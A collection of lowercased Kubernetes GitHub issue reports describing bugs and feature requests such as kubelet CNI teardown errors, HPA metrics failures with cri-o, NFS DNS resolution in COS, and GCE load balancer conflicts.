/v1.26/containers/bc3475ad2f23826b8deee760615aa04c0a12ec4c62f33a6b1404ad6243de4d20/stop returned error: container bc3475ad2f23826b8deee760615aa04c0a12ec4c62f33a6b1404ad6243de4d20 is already stopped\ \r jun  8 22:53:30 atlas-01 kubelet: e0608 22:53:30.197986    7906 kuberuntime_gc.go:153  failed to stop sandbox \ bc3475ad2f23826b8deee760615aa04c0a12ec4c62f33a6b1404ad6243de4d20\  before removing: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ es-master-7fb4d9447d-bj7z8_jaeger\  network: failed to find plugin \ flannel\  in path  /opt/flannel/bin /opt/cni/bin \r    \r \r   what you expected to happen  :\r i am not clear why it's complaining about flannel cni or why it needs the \ flannel\  plugin. the teardown should just stop since the pod had already been removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. install incubator/jaeger helm chart\r 2. delete the chart with --purge option\r 3. the delete operation times out and subsequent attempts results the same error via helm\r 4. remove the replacasets/deployments via kubectl\r 5. kubelet starts errors and won't stop\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : 3.10.0-862.3.2.el7.x86_64\r - install tools: kubeadm\r - others:\r

some standard mechanisms for making fields optional in proto are here:\r \r https://github.com/google/protobuf/blob/master/src/google/protobuf/wrappers.proto\r \r we should use them for indicating optional fields when we rev our proto generator, if we ever do that.\r \r  / \r cc @smarterclayton

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r in  69344 i had to re-run the integration test 4 times to get it to work.\r \r log outputs:\r \r    attempt 1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/69344/pull-kubernetes-integration/29684/ \r    attempt 2  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/69344/pull-kubernetes-integration/29685/ \r    attempt 3  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/69344/pull-kubernetes-integration/29688/ \r    attempt 4  successful   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/69344/pull-kubernetes-integration/29691/ \r \r   what you expected to happen  :\r \r the tests should pass on the first try if the code is valid.\r \r   how to reproduce it  as minimally and precisely as possible   :\r

what happened  :\r  kubectl version 1.13.2  can't describe  hpa  resource but it works as expected in  kubectl version 1.11.5 \r    \r $ kubectl --namespace=namespace_name describe hpa hpa_name\r error from server  notfound : the server could not find the requested resource\r    \r   what you expected to happen  :\r    \r $ kubectl --namespace=namespace_name describe hpa hpa_name\r name:                                                  hpa_name\r namespace:                                             namespace_name\r labels:                                                <none>\r annotations:                                           <none>\r creationtimestamp:                                     tue, 22 jan 2019 15:02:51 -0500\r reference:                                             deployment/deployment_name\r metrics:                                                 current / target  \r   resource cpu on pods   as a percentage of request :  2%  29m  / 60%\r min replicas:                                          1\r max replicas:                                          10\r deployment pods:                                       1 current / 1 desired\r conditions:\r   type            status  reason              message\r   ----            ------  ------              -------\r   abletoscale     true    readyfornewscale    the last scale time was sufficiently old as to warrant a new scale\r   scalingactive   true    validmetricfound    the hpa was able to successfully calculate a replica count from cpu resource utilization  percentage of request \r   scalinglimited  false   desiredwithinrange  the desired count is within the acceptable range\r events:\r   type     reason                        age              from                       message\r   ----     ------                        ----             ----                       -------\r   warning  failedgetresourcemetric       6m  x2 over 7m   horizontal-pod-autoscaler  unable to get metrics for resource cpu: no metrics returned from resource metrics api\r   warning  failedcomputemetricsreplicas  6m  x2 over 7m   horizontal-pod-autoscaler  failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from resource metrics api\r    \r   how to reproduce it  as minimally and precisely as possible   :\r    \r hpa.yaml\r apiversion: v1\r items:\r - apiversion: autoscaling/v1\r   kind: horizontalpodautoscaler\r   metadata:\r     name: hpa_name\r     namespace: namespace_name\r   spec:\r     maxreplicas: 10\r     minreplicas: 1\r     scaletargetref:\r       apiversion: extensions/v1beta1\r       kind: deployment\r       name: deployment_name\r     targetcpuutilizationpercentage: 60\r    \r   anything else we need to know?  :\r it works as a charm in  kubectl version 1.11.5 \r \r   environment  :\r - kubernetes version:  v1.13.2 \r - cloud provider or hardware configuration:  gke \r - os  e.g. from /etc/os-release :  ubuntu 14.04.5 lts \r - kernel:  4.4.0-141-generic \r \r

something has changed between 320 and 321 runs and the request latency has increased significantly.\r \r the graphs below shows request latency  non watch  over time for a single test run:\r \r  320  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/320 :\r ! fyrjr3w9wry  https://user-images.githubusercontent.com/2559168/55164808-a189ef00-516c-11e9-97fa-931d507fbcfe.png \r \r \r  321  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/321 :\r ! vhedltua8zo  https://user-images.githubusercontent.com/2559168/55167490-5faf7780-5171-11e9-97b3-501e7e3b4309.png \r \r in my opinion they looks significantly different: in 320 most of the spikes are lower than 0.8s while 321 most of the spikes exceeds 1.6s.\r \r i checked few runs below 320 and have latency pattern similar to 320 and few runs after 321 and they have similar pattern to the 321.\r \r we are seeing similar latency growth in kubemark tests.\r \r the most significant change between 321 and 320 was go 1.11.5 -> 1.12 migration.\r \r /cc @wojtek-t @krzysied \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i built a cluster with a mix of docker and cri-o nodes in order to a/b test the runtimes.\r \r after observing the logs of the metrics-server and running some tests with the hpa i determined that if the 'seed' pod landed on a cri-o node the hpa would be ineffective. i dug in a bit. \r \r logs from the metrics server contained large blocks of similar lines, all referencing cri-o nodes  in this case i'm pulling out php-apache reference because that is the autoscaling sample pod i'm using :\r    \r unable to fully scrape metrics from source kubelet_summary:ip-172-27-190-56.us-west-2.compute.internal:  unable to get cpu for container \ php-apache\  in pod default/php-apache-5c7c7d8b44-5b594 on node \ ip-172-27-190-56.us-west-2.compute.internal\ , discarding data: missing cpu usage metric,\r    \r \r and once i set up the hpa i see this as well:\r    \r e0417 14:54:27.571050       1 reststorage.go:144  unable to fetch pod metrics for pod default/php-apache-5c7c7d8b44-5b594: no metrics known for pod\r i0417 14:54:27.571164       1 wrap.go:42  get /apis/metrics.k8s.io/v1beta1/namespaces/default/pods?labelselector=run%3dphp-apache:  2.312ms  200   hyperkube/v1.13.5  linux/amd64  kubernetes/2166946/system:serviceaccount:kube-system:horizontal-pod-autoscaler  25.128.9.0:43710 \r    \r \r i then kicked the metrics-server logging into high gear and saw the following output related to the pod:\r    \r \ pods\ :  \r    {\r     \ podref\ : {\r      \ name\ : \ php-apache-5c7c7d8b44-5b594\ ,\r      \ namespace\ : \ default\ ,\r      \ uid\ : \ a1dd863a-611f-11e9-89c4-0af8e487e484\ \r     },\r     \ starttime\ : \ 2019-04-17t14:46:50z\ ,\r     \ containers\ :  \r      {\r       \ name\ : \ php-apache\ ,\r       \ starttime\ : \ 2019-04-17t14:46:51z\ ,\r       \ cpu\ : {\r        \ time\ : \ 2019-04-17t14:54:17z\ ,\r        \ usagecorenanoseconds\ : 197045014066\r       },\r       \ memory\ : {\r        \ time\ : \ 2019-04-17t14:54:17z\ ,\r        \ workingsetbytes\ : 16564224\r       },\r       \ rootfs\ : {\r        \ time\ : \ 2019-04-17t14:54:17z\ ,\r        \ availablebytes\ : 231747842048,\r        \ capacitybytes\ : 250566086656,\r        \ usedbytes\ : 36866,\r        \ inodesfree\ : 65349953,\r        \ inodes\ : 65536000,\r        \ inodesused\ : 11\r       },\r       \ logs\ : {\r        \ time\ : \ 2019-04-17t14:54:16z\ ,\r        \ availablebytes\ : 199483015168,\r        \ capacitybytes\ : 210304475136,\r        \ usedbytes\ : 262144,\r        \ inodesfree\ : 13106664,\r        \ inodes\ : 13107200,\r        \ inodesused\ : 2\r       },\r       \ userdefinedmetrics\ : null\r      }\r      ,\r     \ cpu\ : {\r      \ time\ : \ 2019-04-17t14:54:12z\ ,\r      \ usagenanocores\ : 974840417,\r      \ usagecorenanoseconds\ : 191864605193\r     },\r     \ memory\ : {\r      \ time\ : \ 2019-04-17t14:54:12z\ ,\r      \ usagebytes\ : 22196224,\r      \ workingsetbytes\ : 21954560,\r      \ rssbytes\ : 7880704,\r      \ pagefaults\ : 0,\r      \ majorpagefaults\ : 0\r     },\r     \ volume\ :  \r      {\r       \ time\ : \ 2019-04-17t14:47:24z\ ,\r       \ availablebytes\ : 84500426752,\r       \ capacitybytes\ : 84500439040,\r       \ usedbytes\ : 12288,\r       \ inodesfree\ : 20629981,\r       \ inodes\ : 20629990,\r       \ inodesused\ : 9,\r       \ name\ : \ default-token-zskwg\ \r      }\r      ,\r     \ ephemeral-storage\ : {\r      \ time\ : \ 2019-04-17t14:54:17z\ ,\r      \ availablebytes\ : 199483015168,\r      \ capacitybytes\ : 210304475136,\r      \ usedbytes\ : 299010,\r      \ inodesfree\ : 13106664,\r      \ inodes\ : 13107200,\r      \ inodesused\ : 11\r     }\r    },\r ...\r    \r as you can see usagenanocores is preset at  pods  .cpu.usagenanocores  and is absent at  pods  .containers  .cpu . on docker nodes this is not the case.\r \r the hpa contains the following events:\r    \r   warning  failedgetresourcemetric       1s    horizontal-pod-autoscaler  unable to get metrics for resource cpu: no metrics returned from resource metrics api\r   warning  failedcomputemetricsreplicas  1s    horizontal-pod-autoscaler  failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from resource metrics api\r    \r \r i've found some reference issues:\r \r https://github.com/kubernetes/kubernetes/issues/71712  i made this change, but it didn't have any effect. i imagine if it was actually a problem i wouldn't receive any stats? \r \r https://github.com/kubernetes/kubernetes/issues/75934\r \r https://github.com/kubernetes/kubernetes/issues/72803\r \r https://github.com/kubernetes-incubator/metrics-server/issues/172\r \r and also these pull requests, which i think is meant to address  75934 above \r \r https://github.com/kubernetes/kubernetes/pull/73659\r \r https://github.com/kubernetes/kubernetes/pull/74933\r \r both of which are merged but only into the 1.14 releases..\r \r i'm about to spin up a 1.14 cluster for tests. but assuming it's all good there, what's the prospect for getting these changes pulled back in 1.13.x and possibly 1.12.x?\r \r   what you expected to happen  :\r \r i expect that the kubelet/cri-o/metrics-server/hpa controller would all work together as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a 1.13.5 cluster with metrics-server and nodes backed with cri-o. apply hpa, watch it fail to work.\r \r   anything else we need to know?  :\r \r i just built another test cluster running 1.14.1 and cri-o 1.14 and i'm still experiencing the same events on the hpa, digging in to see if the metrics endpoint on the kubelet is still exhibiting the same behaviors.\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.5\ , gitcommit:\ 2166946f41b36dea2c4626f90a77706f426cdea2\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:19:22z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  : container linux by coreos 2023.4.0  rhyolite \r - kernel  e.g.  uname -a  : n/a\r - install tools: custom bootstrap w/ bootkube\r - others:\r \r  

we found this when trying to patch a build config: https://github.com/openshift/origin/blob/master/pkg/build/api/v1/types.go l325, using       bash oc patch bc/ruby-hello-world -p '{\ spec\ :{\ output\ :{\ to\ :{\ name\ :\ origin-ruby-sample:tag1\ }}}}' error from server: unable to find api field in struct buildspec for the json field \ to\

from email:  a change in the version strings  specifically the last commit, dirty state, etc  won't trigger a rebuild.  linker flags aren't tracked.  you'll see this most of the time when doing e2e tests.  perhaps we should write linker flags to a file and verify them before deciding not to incrementally build.

https://github.com/blog/2111-issue-and-pull-request-templates  cc @eparis @dchen1107

i think logs are getting rotated within the span of an e2e because the first line in controller manager logs is sometimes:       i0825 13:00:05.060174       5 nodecontroller.go:808  node jenkins-e2e-master readycondition updated. updating timestamp.      these logs should be zipped up in the same  /var/log  directory, can we just upload them to the same bucket? eg:       beeps@e2e-test-beeps-master ~ $ ls -lh /var/log total 243m -rw------- 1 root    utmp             21k sep  1 23:20 btmp -rw------- 1 root    utmp             721 aug 31 23:48 btmp-20160901.gz -rw-r--r-- 1 syslog  adm                0 aug 29 22:55 cloud-init.log drwxr-xr-x 2 root    root            4.0k sep  1 18:53 containers -rw-r--r-- 1 root    root             34k sep  1 22:31 etcd-events.log -rw-r--r-- 1 root    root             86k sep  1 23:00 etcd.log -rw-r--r-- 1 root    root            580k aug 31 22:36 glbc.log -rw-r--r-- 1 root    root             43k aug 29 22:55 google.log drwxr-sr-x 3 root    systemd-journal 4.0k aug 29 22:55 journal -rw-r--r-- 1 root    root             38m sep  1 23:34 kube-apiserver.log -rw-r--r-- 1 root    root            9.3m aug 30 23:00 kube-apiserver.log-20160830-1472598004.gz -rw-r--r-- 1 root    root            1.3m aug 31 00:00 kube-apiserver.log-20160831-1472601604.gz -rw-r--r-- 1 root    root            9.5m aug 31 10:59 kube-apiserver.log-20160831-1472641200.gz -rw-r--r-- 1 root    root            5.9m sep  1 00:00 kube-apiserver.log-20160901-1472688004.gz -rw-r--r-- 1 root    root            9.4m sep  1 16:00 kube-apiserver.log-20160901-1472745604.gz

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : pod status failed volume  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.3.5    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : coreos -   kernel    e.g.  uname -a  :  linux ip-10-20-8-69.us-west-2.compute.internal 4.3.3-coreos  2 smp thu dec 17 23:57:55 utc 2015 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux  -   install tools  : custom -   others  :    what happened  : a pod entered the \ failed\  status because the node ran out of disk:        status:     message: pod cannot be started due to lack of disk space.     phase: failed     reason: outofdisk     starttime: 2016-09-27t21:23:04z      a new pod was started  it is part of a deployment , but the failed pod was still holding on to the ebs volume, which the kubelet didn't release until i explicitly deleted the failed pod with  kubectl delete .    what you expected to happen  : the failed pod should not hold on to the volume or otherwise prevent the new pod from running in any way.    how to reproduce it    as minimally and precisely as possible : i have not tried to reproduce it.    anything else do we need to know  :

currently volumes and persistent volumes / claims are nicely integrated into kubernetes to provide file-system based storage to pods. it does so by letting the kubelet do the heavy lifting of attaching the underlying raw devices to the host  if necessary , the mount the device, and finally make it available to the pod.\r \r this is a pretty good solution for most scenarios. but in some cases it would be useful if the final volume handling on the host side could be delegated to the pod itself.\r this is required if\r \r 1. a pod process requires raw access to the device  if a device is involved  or\r 2. if the process can directly consume the volume  i.e. ceph could be directly used by processes \r \r a naive idea would be to add the ability to pass a volume _by reference_. thus instead of letting the kubelet mount the volume, a reference in form of an uri would be passed to the pod, and the pod itself could then do the relevant handling  i.e. using the raw device or offload the consumption to a process .\r the signaling if a reference - or delegation to the pod - shall be used, could be done through a simple per volume flag.\r \r a benefit is that the complete infrastructure and concepts around  persistent  volume in kubernetes could be reused, i.e. the consumption of volumes in pod specs, or pvcs.\r \r note: today this could probably be achieved by using a  flexvolume .\r \r   kubernetes version    use  kubectl version  :\r today's version

without propagating the crt file to all the minions  /etc/docker/certs.d/<registry:5000>/ca.crt .\r kubectl secret docker-registry let me set only the authentication key. not the ssl.\r \r thanks

is this a bug report or feature request?  :\r \r  \r   what happened  :\r nfs servers referenced via domain name, on gce/gke cos fail with:\r \r    \r output: mount.nfs: failed to resolve server <pod name>: temporary failure in name resolution\r    \r \r   what you expected to happen  :\r the mount utility should be able to resolve the domain name. \r \r   how to reproduce it  as minimally and precisely as possible   :\r refer to an nfs server via domain name.\r \r   anything else we need to know?  :\r \r temporary work around: copy the  /etc/resolv.conf  from the gce vm  this will include the gcp search path, metadata dns resolver  into the chroot env   /home/kubernetes/containerized_mounter/rootfs   .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : gce/gke\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

as part of https://github.com/kubernetes/kubernetes/issues/49161 all tests should be labeld with  sig-   to signify which sig owns them. \r \r today all configmap, secret, and downwardapi e2e tests can be found here:\r    test/e2e/common/configmap.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/configmap.go \r    test/e2e/common/downward_api.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/downward_api.go \r    test/e2e/common/secrets.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/secrets.go \r \r these include volume and non-volume tests. volume tests should be owned by  sig-storage  and non-volume tests should be owned by someone else  apimachinery? . ideally we want  kubedescribe  to be prefixed with the   sig-    label, but because these files contain a mix, each test is instead suffixed.\r \r suggestion: split these tests into two files: volume and non-volume. so that all the tests in a file can have a single  kubedescribe  with a single   sig-    prefix.\r \r suggestion from @pwittrock and @grodrigues3

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the documentation claims that  externalnames  should be dns names, but stricter rfc-1123 hostname validation is enforced.\r \r   what you expected to happen  :\r the documentation should either specify that they need to be valid rfc-1123 hostnames, or the code should not reject valid dns names.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a  service  with an  externalname  of  db_eu.example.com , it throws the following error:\r \r    \r the service \ db-eu\  is invalid: spec.externalname: invalid value: \ db_eu.example.com\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2

 \r   what happened  :\r \r warning printed by  e2e-up.sh :  warning: mode is deprecated. please use subnet-mode instead. \r \r   what you expected to happen  :\r \r no warning.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubetest -v --up \r \r   anything else we need to know?  :\r \r this is my first e2e cluster. logs with more context below.\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : description:\tubuntu 14.04 lts\r \r    \r 2017/10/19 16:18:51 util.go:154: running: ./hack/e2e-internal/e2e-up.sh\r project: k8s-scale-testing\r network project: k8s-scale-testing\r zone: us-east1-x\r ... starting cluster in us-east1-x using provider gce\r ... calling verify-prereqs\r ... calling verify-kube-binaries\r ... calling kube-up\r project: k8s-scale-testing\r network project: k8s-scale-testing\r zone: us-east1-x\r +++ staging server tars to google storage: gs://kubernetes-staging-6524d3db95/e2e-test-porridge-devel\r +++ kubernetes-server-linux-amd64.tar.gz uploaded  sha1 = 2b91b5046dc30dd52e7cdea6086191b16a02bb56 \r +++ kubernetes-salt.tar.gz uploaded  sha1 = 3e7907f15509540958c02a427aff989a340b8601 \r +++ kubernetes-manifests.tar.gz uploaded  sha1 = ef5169fc331f2d2fafaf37a7995bd0367f1eb11e \r instance_groups=\r node_names=\r looking for already existing resources\r creating new auto network: e2e-test-porridge\r warning: mode is deprecated. please use subnet-mode instead.\r created  https://www.googleapis.com/compute/v1/projects/k8s-scale-testing/global/networks/e2e-test-porridge .\r name               subnet_mode  bgp_routing_mode  ipv4_range  gateway_ipv4\r e2e-test-porridge  auto         regional\r

there is a race condition in event compression logic in  pkg/client/record/event.go . if the same event is created in rapid succession it is possible that resourceversion used to update one of the events becomes out-of-date and the update fails due to  conflict .  the fix for the race condition can not be implemented on the client side, because it requires doing an atomic increment operation: no client can control/guarantee the behavior of any other client and thus no client can implement an atomic increment operation using separate read/write rest calls.  the correct fix for this is to expose a new rest call on the api server that can take an event key and  lastseen  timestamp, and do the following operations atomically:   1  read the event object for the given event key   2  write the event object back with an incremented count and new  lastseen  timestamp  timestamp should only be updated if it is more recent then the existing timestamp .  while this race condition exists in theory,  in practice it is unlikely to be triggered by our code because it requires either another client to do an update on an existing event object that it did not create or multiple threads on the same client doing the exact same operation on the exact same object in rapid succession and create an event for it--our code is mostly synchronous and does no identical event generating operations in parallel.  i am marking this bug as p2 because of the unlikely nature of it occurring in normal operation and the work required to implement the correct solution.  branched from  5327  even though this doesn't cause that issue, it needs to be tracked .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   like a bug  :\r \r   what happened  :\r \r i have a kubernetes cluster with a master  ubuntu linux  and a windows server 2016 node. on the windows server 2016 node, i have installed kubernetes binaries for windows node of version 1.9.3 alpha. on my windows node, i tried to execute kubelet.exe to register my windows node to master successfully. on the master, i have created a deployment, a pod shall be created on the windows node and the container shall be started.\r \r on the windows node, i have created a transparent network with the following command:\r docker network create --driver transparent transparent\r the network \ transparent\  has been created successfully. and then on the windows node, i set the environment variable:\r \r $env:container_network = transparent\r \r .\\kubelet.exe --feature-gates \ kubeletconfigfile=true\  --hostname-override=10.121.4.112 --resolv-conf=\ \  --kubeconfig \ c:\\tools\ ode\\bin\\manifests\\kubeconfig-\r linux\  --node-labels \ kubernetes.io/role=node\  --max-pods=2 --allow-privileged=true --pod-infra-container-image=\ apprenda/pause\  --host-network-sources=\  \ \r \r with the above command, i can register my windows node to my master successfully. my pod was not created successfully. and i have seen the error messages from kubelet.exe\r \r e1201 19:22:15.486973    5012 kuberuntime_manager.go:647  createpodsandbox for pod \ weave-net-gt7pj_kube-system ac13f23d-d6cb-11e7-a4cd-0289db2a7c18 \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ weave-net-gt7pj\ : error response fro\r m daemon: no such network: host\r \r i have followed the instruction like:\r https://kubernetes.io/docs/getting-started-guides/windows/\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start kubelet.exe on windows server 2016 node.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3 alpha\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : windows server 2016\r - kernel  e.g.  uname -a  :\r - install tools:\r \r \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r when i try to set up a flex volume pv by following config:\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv-flex-lvm \r spec:\r   capacity:\r     storage: 1gi \r   accessmodes:\r     - readwriteonce\r   flexvolume:\r     driver: foo/lvm\r     fstype: ext4\r     readonly: true\r     options: \r       fooserver: 192.168.0.1:1234\r       foovolumename: bar\r    \r then i run  kubectl describe pv pv-flex-lvm , the output would be as following in which  driver ,  fstype  is parsing incorrect, i tried on both v1.8, v1.9 k8s cluster, got same situation:\r \r    \r name:            pv-flex-lvm\r labels:          <none>\r annotations:     <none>\r storageclass:\r status:          available\r claim:\r reclaim policy:  retain\r access modes:    rwo\r capacity:        1gi\r message:\r source:\r     type:    flexvolume  a generic volume resource that is provisioned/attached using an exec based plugin \r     driver:      options:  %v\r \r     fstype:                                                                                      foo/lvm\r     secretref:                                                                                   ext4\r     readonly:                                                                                    <nil>\r %! extra bool=true, map string string=map fooserver:192.168.0.1:1234 foovolumename:bar  events:  <none>\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8, v1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

we delete all k8s.io/  dependencies from vendor/ directory of exported staging repos for the master branch. current kube-openapi master branch  which  get get  will download  is not compatible with current k8s.io/client-go master branch.\r \r broken travis build: https://travis-ci.org/kubernetes/client-go/builds/315272939

  \r   what happened  :\r i created a pod with a memory limit set way too low.\r \r received these events: https://gist.github.com/davidz627/d3b97245d66920b29518331f7edf2b88\r \r the events give no clear indication of oom error or anything relating to the memory limit i set.\r \r   what you expected to happen  :\r have an event that makes it clear what is going wrong here. oom or over the limit message.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create this pod: https://gist.github.com/davidz627/0597e3e2d8a3dda4512077d93fde84e8\r view pod events\r \r   environment  :\r - kubernetes version  use kubectl version : v1.10.0-alpha.1.110+3d652cae0391cf\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : container-optimized os\r - kernel  e.g. uname -a : linux kubernetes-minion-group-4vzp 4.4.86+  1 smp thu dec 7 20:11:11 pst 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r when running apt-mirror on ubuntu 16.04 lts i can not mirror:\r deb https://packages.cloud.google.com/apt kubernetes-xenial main\r \r it errors out saying there is no md5 checksum:\r \r processing indexes:  sssssss\r gzip: stdin: not in gzip format\r sspppppppppppppppppppuse of uninitialized value $lines{\ md5sum:\ } in concatenation  .  or string at /usr/bin/apt-mirror line 787, <stream> line 1.\r use of uninitialized value $lines{\ md5sum:\ } in concatenation  .  or string at /usr/bin/apt-mirror line 787, <stream> line 2.\r use of uninitialized value $lines{\ md5sum:\ } in concatenation  .  or string at /usr/bin/apt-mirror line 787, <stream> line 3. \r \r   what you expected to happen  :\r \r repo is mirrored\r \r   how to reproduce it  as minimally and precisely as possible   :\r config file:\r     \r root@mirrors:/etc/apt  cat mirror.list\r               config                   \r  \r set base_path    /hbdata/apt-mirror\r  \r   set mirror_path  $base_path/mirror\r   set skel_path    $base_path/skel\r   set var_path     $base_path/var\r   set cleanscript $var_path/clean.sh\r   set defaultarch  <running host architecture>\r   set postmirror_script $var_path/postmirror.sh\r   set run_postmirror 0\r set nthreads     50\r set _tilde 0\r  \r               end config               \r \r   kubernetecs start\r deb https://packages.cloud.google.com/apt kubernetes-xenial main\r clean https://packages.cloud.google.com/apt\r    \r cli:\r    \r http_proxy=http://proxy.xxxdev.com:3128 https_proxy=http://proxy.xxxdev.com:3128 no_proxy=cn.archive.ubuntu.com apt-mirror\r    \r   anything else we need to know?  :\r i am in beijing going through a proxy, should not make a difference.\r \r   environment  :\r - kubernetes version  use  kubectl version  : na\r - cloud provider or hardware configuration: vmware 4 cpus 16 gb ram 200gb disk\r - os  e.g. from /etc/os-release : ubuntu 16.04.1 lts\r - kernel  e.g.  uname -a  : 4.4.0-51-generic\r - install tools: \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r ipvs proxier update service too slow, it waits until a sync period.\r \r   what you expected to happen  :\r \r any k8s service update should trigger ipvs virtual service update.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a k8s service\r \r 2. update it's session affinity type\r \r 3. to see if ipvs virtual service has changed - no!\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area ipvs

is this a bug report or feature request?  :\r  \r   what happened  :\r after creating a gce global lb  using ingress-gce ,  k8s-ig--name  instance groups were made for all zones. this now prevents us from having network or internal load balancers because when  type: loadbalancer  is specified for a service, a  v1.compute.regionbackendservices.insert  call is made with the  k8s-ig--name  but without specifying a balancingmode  as seen here https://godoc.org/google.golang.org/api/compute/v1 backend  and the default is \ utilization\ . an error is returned when creating the backend service:\r    \r invalid argument  http 400 : validation failed for instance 'link-to-instance': instance may belong to at most one load-balanced instance group.\r    \r \r   what you expected to happen  :\r i expected the network/internal load balancer to be created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  create an l7 load balancer with https://github.com/kubernetes/ingress-gce\r 2  create an l4 load balancer by making a service with  type: loadbalancer . it can be internal or not.\r \r   anything else we need to know?  :\r when you use the console gui to create an internal lb using the same  k8s-ig--name  instance groups it uses a balancingmode of \ connection\  and the load balancer is created successfully. this is the \ solution\  to the problem specified: https://github.com/kubernetes/ingress-nginx/issues/112\r \r i'm not sure if \ utilization\  as the default even makes sense in a container environment since kube-proxy is migrating away all the connections anyways to an instance that 